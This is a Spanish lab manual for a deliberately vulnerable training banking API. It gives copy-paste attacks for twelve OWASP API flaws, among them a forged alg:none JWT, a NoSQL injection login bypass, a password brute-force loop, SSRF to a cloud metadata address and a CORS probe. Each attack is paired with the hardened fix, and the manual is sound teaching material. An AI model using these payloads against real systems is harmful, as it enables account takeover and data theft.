Manual · Laboratorio de Seguridad en APIs (VulnBank API)

> Lab 02 de la sección **Ciberseguridad**. Este manual te lleva de la mano: cada ataque tiene pasos numerados que puedes **copiar y pegar**. Todos los datos, contraseñas y "secretos" son **ficticios**.

1. Qué es este laboratorio

VulnBank API es la API de un banco inventado. Funciona de verdad (está publicada en tu sitio en `/api/lab/…`) y existe en **dos versiones**:

Versión	Para qué sirve	Cómo se ve en la página
VULNERABLE	Practicar los ataques del OWASP API Security Top 10	Etiqueta roja `VULNERABLE`
ENDURECIDA	Ver que los mismos ataques ya **no** funcionan	Etiqueta verde `ENDURECIDA`

Las dos versiones tienen **los mismos endpoints y los mismos usuarios**, así que puedes repetir exactamente los mismos pasos en una y otra y comparar.

Página del laboratorio: `https://TU-SITIO/ciberseguridad/api-lab/` (también desde la portada de Ciberseguridad → tarjeta **Lab 02 · Seguridad en APIs**).

2. Cambiar de versión (lo único que tienes que pedirme)

Escríbele a Claude, en este mismo repositorio, una de estas frases:

Quieres…	Escribe
Poner la versión con fallos	**"Coloca el laboratorio de API vulnerable"**
Poner la versión corregida	**"Coloca el laboratorio de API endurecida"** (o "con las vulnerabilidades resueltas")
Saber cuál está puesta	**"¿Qué versión del laboratorio de API está activa?"**

Claude hará esto por ti:

1. Ejecuta `bash tools/switch-api-lab.sh vuln` (o `clean`).
2. El script copia la versión elegida a `api/lab/index.js` y **comprueba automáticamente las 12 vulnerabilidades**.
3. Hace commit y push a `main`. Azure publica el cambio en **2–4 minutos**.

Cómo confirmar que ya está publicada: abre la página del laboratorio y mira la etiqueta **"API activa"** junto al título, o visita `https://TU-SITIO/api/lab/version`:

```
{ "lab": "VulnBank API", "version": "vulnerable" }
```

> Si la etiqueta aún muestra la versión anterior, espera un minuto y recarga (Ctrl+F5).

3. Antes de empezar (2 minutos)

Solo necesitas un navegador. La página del laboratorio trae una **consola** para enviar peticiones a la API. Si prefieres terminal, todos los pasos traen también el comando `curl`.

3.1 Usuarios de prueba

Usuario	Contraseña	Cuenta	Rol
`laura`	`Laura2026!`	5001	cliente (**tú eres Laura**)
`carlos`	*(es parte del reto)*	5002	cliente (la víctima)
`admin`	*(es parte del reto)*	5003	administrador

3.2 Cómo usar la consola

1. Abre la página del laboratorio y baja a **Consola**.
2. Pulsa **"1 · Iniciar sesión como laura"**. El campo **Token** se rellena solo.
3. Elige **Método**, escribe la **Ruta** y, si hace falta, el **Cuerpo JSON**.
4. Pulsa **"Enviar petición"**. La respuesta aparece abajo (código HTTP, cabeceras importantes y JSON).
5. Los botones de **Atajos** rellenan peticiones habituales por ti.
6. **"Restaurar datos"** deja saldos y perfiles como al principio. Úsalo cuando quieras empezar de cero.

3.3 Si usas `curl` (opcional)

Primero guarda la dirección de la API y tu token en variables (Linux, macOS o Git Bash en Windows):

```
B=https://TU-SITIO/api/lab
TOKEN=$(curl -s -X POST $B/auth/login -H 'Content-Type: application/json' \
  -d '{"username":"laura","password":"Laura2026!"}' | sed -E 's/.*"token": "([^"]+)".*/
\1/;t;d')
echo $TOKEN
```

> En **PowerShell** escribe `curl.exe` (no `curl`) o usa la consola web.

4. Las 12 vulnerabilidades de un vistazo

#	Vulnerabilidad	OWASP API 2023	Endpoint
V1	Acceso a cuentas ajenas (BOLA)	API1	`GET /accounts/{id}`
V2	Token JWT sin firma (`alg: none`) aceptado	API2	todos con token
V3	Enumeración de usuarios y fuerza bruta sin límite	API2 / API4	`POST /auth/login`
V4	Exposición excesiva de datos	API3	`GET /users/me`
V5	Asignación masiva (*mass assignment*)	API3	`PATCH /users/me`
V6	Funciones de admin sin control de rol (BFLA)	API5	`GET /admin/users`
V7	Lógica de negocio: transferencias negativas	API6	`POST /transfers`
V8	SSRF (simulado)	API7	`GET /tools/preview`
V9	Mala configuración: `/debug` , CORS abierto, trazas	API8	varios
V10	API antigua (v1) olvidada y sin autenticación	API9	`GET /v1/users/{id}`
V11	Inyección NoSQL en el login	Inyección (API8 / A03)	`POST /auth/login`
V12	Consumo de recursos sin límite	API4	`GET /accounts/{id}/transactions`

En las rutas de este manual, `/accounts/…` significa `/api/lab/accounts/…` .

5. Paso a paso de cada ataque

Para cada fallo verás: **qué es**, **cómo atacarlo** (consola y `curl`), **qué pasa en la versión vulnerable**, **qué pasa en la endurecida** y **cómo se corrigió**. En el código, cada fallo está marcado con `[V#]` y cada corrección con `[V#] FIX` .

V1 · BOLA: leer la cuenta de otra persona

Qué es: la API no comprueba que el objeto pedido (la cuenta) sea del usuario que lo pide. Basta con cambiar el número en la URL.

Consola:

1. Inicia sesión como laura.
2. Método `GET` , ruta `/api/lab/accounts/5001` → ves **tu** cuenta.

3. Cambia la ruta a `/api/lab/accounts/5002` y envía.

```
curl -s $B/accounts/5002 -H "Authorization: Bearer $TOKEN"
```

- **Vulnerable:** `200` con el saldo, IBAN, nombre y email de **Carlos**.
- **Endurecida:** `404 Cuenta no encontrada` (ni siquiera revela que existe).
- **Corrección:** la cuenta se busca filtrando también por `ownerId = usuario autenticado`.

> **Extra:** prueba también `/api/lab/accounts/5002/transactions` (mismo fallo).

V2 · JWT con `"alg": "none"`

Qué es: un JWT tiene 3 partes: `cabecera.datos.firma`. La API acepta tokens cuya cabecera dice `"alg": "none"` (sin firma), así que cualquiera puede fabricar un token diciendo que es otra persona.

Este token ya está fabricado para ti (dice `{"sub": 1003}` = el admin):

```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOjEwMDN9.
```

Consola:

1. Borra el campo **Token** y pega el token de arriba (incluido el punto final).
2. Método `GET`, ruta `/api/lab/users/me`, enviar.

```
curl -s $B/users/me -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOjEwMDN9."
```

- **Vulnerable:** `200` y eres **admin** sin conocer su contraseña.
- **Endurecida:** `401 Falta un token válido`.
- **Corrección:** solo se acepta la cabecera exacta `HS256`, se verifica la firma con comparación de tiempo constante y se comprueba la caducidad (`exp`). El secreto viene de la configuración del servidor, no del código.

> **Para curiosos:** pega tu token de laura en https://jwt.io para ver sus 3 partes. En la versión vulnerable el token tampoco caduca nunca.

V3 · Enumeración de usuarios y fuerza bruta

Qué es: el login responde distinto si el usuario existe o no, y deja probar contraseñas sin límite.

Consola (enumeración): pulsa el atajo **"Login (manual)"** y cambia el cuerpo:

1. `{"username": "noexiste", "password": "x"}` → enviar.
2. `{"username": "carlos", "password": "x"}` → enviar.

Qué verás:

- **Vulnerable:** respuesta 1 = `404 El usuario no existe`; respuesta 2 = `401 Contraseña incorrecta para carlos`. ¡Ya sabes que `carlos` existe!

Fuerza bruta (terminal): prueba una lista de contraseñas típicas:

```
for p in password qwerty 111111 abc123 123456 carlos2026; do
  printf '%-12s → ' "$p"
  curl -s -o /dev/null -w '%{http_code}\n' -X POST $B/auth/login \
    -H 'Content-Type: application/json' -d "{\"username\":\"carlos\",\"password\":\"$p\"}"
done
```

- **Vulnerable:** todas devuelven `401` menos una, que devuelve `200`: la contraseña de Carlos es `123456`.
- **Endurecida:** siempre `401 Credenciales inválidas` (mismo mensaje exista o no el usuario) y a partir del **5.º fallo** responde `429 Demasiados intentos`.
- **Corrección:** mensaje único, mismo tiempo de respuesta, límite de 5 intentos por IP y por usuario durante 15 minutos.

> Después de esta prueba en la versión endurecida pulsa **"Restaurar datos"** para desbloquear el login.

V4 · Exposición excesiva de datos

Qué es: la API devuelve el objeto completo de la base de datos y confía en que la app "no muestre" lo sensible.

Consola: atajo **"Mi perfil"** (`GET /api/lab/users/me`).

```
curl -s $B/users/me -H "Authorization: Bearer $TOKEN"
```

- **Vulnerable:** aparecen `password`, `passwordHash` (MD5 sin sal), `dni` y `pin`.
- **Endurecida:** solo `id, username, fullName, email, phone, role, accountId`.
- **Corrección:** respuesta construida con una lista explícita de campos (DTO) y contraseñas guardadas con `scrypt` + sal.

V5 · Asignación masiva (*mass assignment*)

Qué es: el endpoint para editar el perfil copia **cualquier** campo que le envíes, incluido el rol.

Consola:

1. Método `PATCH`, ruta `/api/lab/users/me`.
2. Cuerpo: `{"role": "admin"}` → enviar.
3. Atajo **"Mi perfil"** → enviar y mira `role`.

```
curl -s -X PATCH $B/users/me -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' -d '{"role":"admin"}'
```

- **Vulnerable:** Laura pasa a ser `"role": "admin"`.
- **Endurecida:** `400 Campos no permitidos: role`.
- **Corrección:** lista blanca de campos editables (`email`, `phone`) y validación de su formato.

> Pulsa **"Restaurar datos"** al terminar para devolver a Laura su rol.

V6 · BFLA: funciones de administrador para cualquiera

Qué es: el endpoint de administración solo comprueba que estás conectado, no que seas administrador.

Consola: inicia sesión como laura (rol cliente) y usa el atajo **"Panel admin"**.

```
curl -s $B/admin/users -H "Authorization: Bearer $TOKEN"
```

- **Vulnerable:** `200` con **todos** los usuarios, contraseñas incluidas.
- **Endurecida:** `403 Acceso denegado` (y si entras como admin, ves la lista sin datos sensibles).
- **Corrección:** comprobación del rol **leído del servidor**, nunca del token ni del cliente.

V7 · Lógica de negocio: transferencia negativa

Qué es: la API no valida el importe. Una transferencia de **−1000 €** hacia Carlos en realidad **le quita** 1000 € a él y te los da a ti.

Consola:

1. Atajo **"Mi cuenta"** → apunta tu saldo (2450.75).
2. Atajo **"Transferir"** y cambia el cuerpo a: `{"fromAccountId": 5001, "toAccountId": 5002, "amount": -1000}` → enviar.
3. Atajo **"Mi cuenta"** otra vez.

```
curl -s -X POST $B/transfers -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"fromAccountId":5001,"toAccountId":5002,"amount":-1000}'
```

- **Vulnerable:** tu saldo **sube** a 3450.75. (Prueba también a enviar 999999: te deja en negativo. Y con `"fromAccountId": 5002` mueves dinero **de la cuenta de Carlos**.)
- **Endurecida:** `400 amount debe ser un número positivo…`, `Saldo insuficiente` o `404 Cuenta origen no encontrada`, según el caso.
- **Corrección:** importe numérico, positivo, máx. 2 decimales, límite por operación, saldo suficiente y cuenta origen del propio usuario.

V8 · SSRF (simulado)

Qué es: la función "vista previa de un enlace" hace que **el servidor** visite la URL que tú le das. Un atacante la usa para llegar a sistemas internos que no son accesibles desde Internet (como el servicio de metadatos de la nube, que guarda credenciales).

> En este laboratorio el SSRF está **simulado**: la API no hace ninguna petición real; devuelve respuestas ficticias para que veas el efecto.

Consola: método `GET` y esta ruta:

```
/api/lab/tools/preview?url=http://169.254.169.254/latest/meta-data/
```

Prueba también `?url=http://internal-admin.vulnbank.local/`.

```
curl -s "$B/tools/preview?url=http://169.254.169.254/latest/meta-data/" -H "Authorization: Bearer $TOKEN"
```

- **Vulnerable:** "credenciales" de la nube (`secretAccessKey`…) y datos de un panel interno.
- **Endurecida:** `400 Destino no permitido`. Solo acepta `https://cdn.vulnbank.example` y `https://www.vulnbank.example` (prueba el atajo **"Vista previa URL"**).
- **Corrección:** lista blanca de destinos, solo HTTPS, sin IPs ni nombres internos.

V9 · Mala configuración de seguridad

Son tres fallos de configuración, compruébalos uno a uno:

a) Endpoint de depuración olvidado. Consola: `GET /api/lab/debug`

```
curl -s $B/debug
```

- **Vulnerable:** sin login, muestra el **secreto de firma JWT** (`vulnbank`), una cadena de conexión a base de datos y servicios internos.
- **Endurecida:** no existe.

> **Reto encadenado:** con el secreto `vulnbank` puedes fabricar en jwt.io un token HS256 **válido** con `"sub": 1003` y entrar como admin.

b) CORS abierto. Solo con terminal (el navegador no deja cambiar el `Origin`):

```
curl -s -i $B/version -H 'Origin: https://evil.example' | grep -i access-control
```

- **Vulnerable:** `Access-Control-Allow-Origin: https://evil.example` y `Access-Control-Allow-Credentials: true` → cualquier web maliciosa puede leer respuestas de la API usando la sesión de la víctima.

- **Endurecida:** no aparece ninguna cabecera CORS (solo el propio sitio puede usarla).

En la consola web también lo ves: mira la línea `access-control-allow-origin` y `x-powered-by` (que revela la tecnología y versión) en cualquier respuesta.

c) Errores con detalles internos. Consola: `GET /api/lab/accounts/999`, o envía al login un cuerpo roto como `{malo`.

- **Vulnerable:** `500` con `stack`: la traza interna con rutas de archivos y funciones.
- **Endurecida:** `404` / `400` con un mensaje corto; los errores inesperados solo dicen `Error interno` y un `requestId` (el detalle queda en el log del servidor).

V10 · API antigua (v1) sin retirar

Qué es: una versión vieja de la API sigue publicada, sin autenticación, porque nadie la tiene en el inventario.

Consola: borra el token (deja el campo vacío) y envía `GET /api/lab/v1/users/1002`.

```
curl -s $B/v1/users/1002
```

- **Vulnerable:** `200` con todos los datos de Carlos, sin token.
- **Endurecida:** `410 La API v1 está retirada`.
- **Corrección:** inventario de APIs y retirada de las versiones obsoletas.

V11 · Inyección NoSQL en el login

Qué es: el login pasa lo que envías directamente a la consulta. Si en vez de un texto envías un **objeto** como `{"$ne": ""}` ("distinto de vacío"), la condición de la contraseña siempre se cumple.

Consola: atajo **"Login (manual)"** y cambia el cuerpo a:

```
{"username": "admin", "password": {"$ne": ""}}
```

```
curl -s -X POST $B/auth/login -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":{"$ne":""}}'
```

- **Vulnerable:** `200` con un **token de admin** sin saber su contraseña. (Prueba también `{"username": {"$ne": ""}, "password": {"$ne": ""}}`: entras como el primer usuario de la base de datos sin saber ni el usuario.)
- **Endurecida:** `400 username y password deben ser texto`.
- **Corrección:** validar el **tipo** de cada dato de entrada (solo cadenas) antes de usarlo en una consulta.

V12 · Consumo de recursos sin límite

Qué es: el cliente decide cuántos registros genera el servidor. Pidiendo miles, se gasta CPU, memoria y ancho de banda (base de un ataque de denegación de servicio).

Consola: compara el tiempo y los bytes (aparecen junto al botón "Enviar"):

1. `GET /api/lab/accounts/5001/transactions?limit=5`
2. `GET /api/lab/accounts/5001/transactions?limit=20000`

```
curl -s -o /dev/null -w 'HTTP %{http_code} · %{size_download} bytes · %{time_total}s\n' \
  "$B/accounts/5001/transactions?limit=20000" -H "Authorization: Bearer $TOKEN"
```

- **Vulnerable:** `200` con 20 000 movimientos (varios MB).
- **Endurecida:** `400 limit debe estar entre 1 y 50`.
- **Corrección:** paginación con un máximo validado en el servidor (y límites de peticiones por cliente).

> El tope de 20 000 existe solo para proteger el propio laboratorio. **No** lances bucles masivos contra el sitio.

6. Comprobación automática (opcional)

Con Node.js instalado, desde la carpeta del repositorio:

```
node tools/check-api-lab.js https://TU-SITIO
```

Resultado esperado:

- Versión **vulnerable**: las 12 líneas con `[EXPLOTABLE]` y al final `✔ Todo coincide con el manual para la versión VULNERABLE.`
- Versión **endurecida**: las 12 con `[CORREGIDA]` y `✔ Todo coincide con el manual para la versión ENDURECIDA.`

También funciona sin Internet contra el código: `node tools/check-api-lab.js vuln` o `node tools/check-api-lab.js clean`.

7. Practicar en tu ordenador (aislado, sin Azure)

Ideal para clases sin conexión o si prefieres no atacar el sitio publicado. Requiere Node.js 18 o superior; no hay que instalar nada más.

```
node tools/api-lab-server.js vuln
```

Abre `http://localhost:7071/ciberseguridad/api-lab/` y sigue el manual igual, usando `B=http://localhost:7071/api/lab` en los comandos `curl`. Para la versión endurecida: `node tools/api-lab-server.js clean`. Detener: **Ctrl+C**.

8. Problemas frecuentes

Síntoma	Solución
La etiqueta "API activa" dice **NO DISPONIBLE**	La API aún se está desplegando (espera 2–4 min) o el despliegue falló: revisa la pestaña **Actions** de GitHub.
`401 Falta un token válido` en todo	Pulsa "Iniciar sesión como laura" otra vez (en la versión endurecida el token caduca a los 15 min).
`429 Demasiados intentos`	Es la defensa de V3. Pulsa **"Restaurar datos"**.
Los saldos o el rol quedaron raros	Pulsa **"Restaurar datos"** (`POST /api/lab/reset`).
Los datos vuelven solos al estado inicial	Normal: todo vive en memoria y se reinicia cuando Azure recicla la API.
En la endurecida el token deja de valer de repente	Azure reinició la API y generó un secreto nuevo. Vuelve a iniciar sesión. (Para evitarlo, ver sección 9.)
`curl` en PowerShell da errores raros	Usa `curl.exe` o la consola web.

9. Para el administrador del sitio (solo una vez)

- La API vive en la carpeta `api/` y Azure Static Web Apps la publica como **Azure Functions** (el workflow ya tiene `api_location: "api"` y `staticwebapp.config.json` fija `node:20`).
- Código de cada versión: `labs/api-lab/vuln/index.js` y `labs/api-lab/clean/index.js`. El que está en línea es `api/lab/index.js`. La carpeta `labs/` **no** se sirve en la web (devuelve 404).
- **Opcional (recomendado):** en Azure Portal → tu Static Web App → **Configuración / Variables de entorno**, crea `API_LAB_JWT_SECRET` con un valor largo y aleatorio. Así los tokens de la versión endurecida no se invalidan cuando Azure reinicia la API.
- **Aislamiento:** el laboratorio comparte dominio con el sitio real. Los fallos se limitan a `/api/lab` (datos en memoria, SSRF simulado, sin secretos reales), pero para clases grandes o abiertas es preferible el modo local (sección 7) o publicar el lab en un Static Web App aparte.
- Cuando no haya clase, deja puesta la **versión endurecida**.